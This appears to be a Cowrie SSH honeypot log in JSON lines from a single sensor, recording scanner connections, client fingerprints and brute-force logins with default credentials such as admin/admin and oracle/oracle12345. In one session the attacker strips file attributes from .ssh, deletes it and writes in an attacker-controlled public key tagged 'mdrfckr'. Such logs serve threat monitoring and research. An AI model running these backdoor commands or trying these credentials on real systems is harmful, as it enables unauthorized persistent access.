{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:01.564858Z","src_ip":"151.80.141.196","session":"355625aa791b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:01.642231Z","src_ip":"151.80.141.196","session":"355625aa791b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test123","message":"login attempt [test/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:01.971838Z","src_ip":"151.80.141.196","session":"355625aa791b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:03.050038Z","src_ip":"151.80.141.196","session":"355625aa791b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":48380,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5b43732963","protocol":"ssh","message":"New connection: 103.15.226.202:48380 (10.17.0.5:22) [session: aa5b43732963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:06.911727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:06.917950Z","src_ip":"103.15.226.202","session":"aa5b43732963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:07.165260Z","src_ip":"103.15.226.202","session":"aa5b43732963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:07.909146Z","src_ip":"103.15.226.202","session":"aa5b43732963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:09.159747Z","src_ip":"103.15.226.202","session":"aa5b43732963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27680,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d51c66912c7","protocol":"ssh","message":"New connection: 87.251.64.176:27680 (10.17.0.5:22) [session: 5d51c66912c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:17.218813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:17.226197Z","src_ip":"87.251.64.176","session":"5d51c66912c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:17.323439Z","src_ip":"87.251.64.176","session":"5d51c66912c7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:17.616149Z","src_ip":"87.251.64.176","session":"5d51c66912c7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:17.716849Z","session":"5d51c66912c7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:17.814909Z","src_ip":"87.251.64.176","session":"5d51c66912c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:17.913489Z","src_ip":"87.251.64.176","session":"5d51c66912c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":59820,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d13064a1596","protocol":"ssh","message":"New connection: 190.242.109.42:59820 (10.17.0.5:22) [session: 0d13064a1596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:20.950823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:20.957341Z","src_ip":"190.242.109.42","session":"0d13064a1596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:21.056941Z","src_ip":"190.242.109.42","session":"0d13064a1596","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1029384756","message":"login attempt [ubuntu/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:21.478848Z","src_ip":"190.242.109.42","session":"0d13064a1596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:22.577201Z","src_ip":"190.242.109.42","session":"0d13064a1596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.689151763916016,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:27.879626Z","src_ip":"212.55.149.117","session":"dbcb0e0bef09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":44564,"dst_ip":"10.17.0.5","dst_port":22,"session":"141370e6fede","protocol":"ssh","message":"New connection: 189.46.1.73:44564 (10.17.0.5:22) [session: 141370e6fede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:30.970993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:31.032024Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:31.174194Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33288,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b44b666b4ef","protocol":"ssh","message":"New connection: 103.147.159.91:33288 (10.17.0.5:22) [session: 9b44b666b4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:31.251303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:31.255585Z","src_ip":"103.147.159.91","session":"9b44b666b4ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:31.493109Z","src_ip":"103.147.159.91","session":"9b44b666b4ef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle12345","message":"login attempt [oracle/oracle12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:31.834722Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:32.311261Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:32.314408Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:32.317854Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:32.515670Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian123","message":"login attempt [root/debian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:32.559102Z","src_ip":"103.147.159.91","session":"9b44b666b4ef","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:32.872148Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:32.875587Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:33.035162Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:33.038210Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":44566,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec5d7b12ab26","protocol":"ssh","message":"New connection: 189.46.1.73:44566 (10.17.0.5:22) [session: ec5d7b12ab26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:33.165271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:33.223000Z","src_ip":"189.46.1.73","session":"ec5d7b12ab26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:33.354032Z","src_ip":"189.46.1.73","session":"ec5d7b12ab26","protocol":"ssh"}
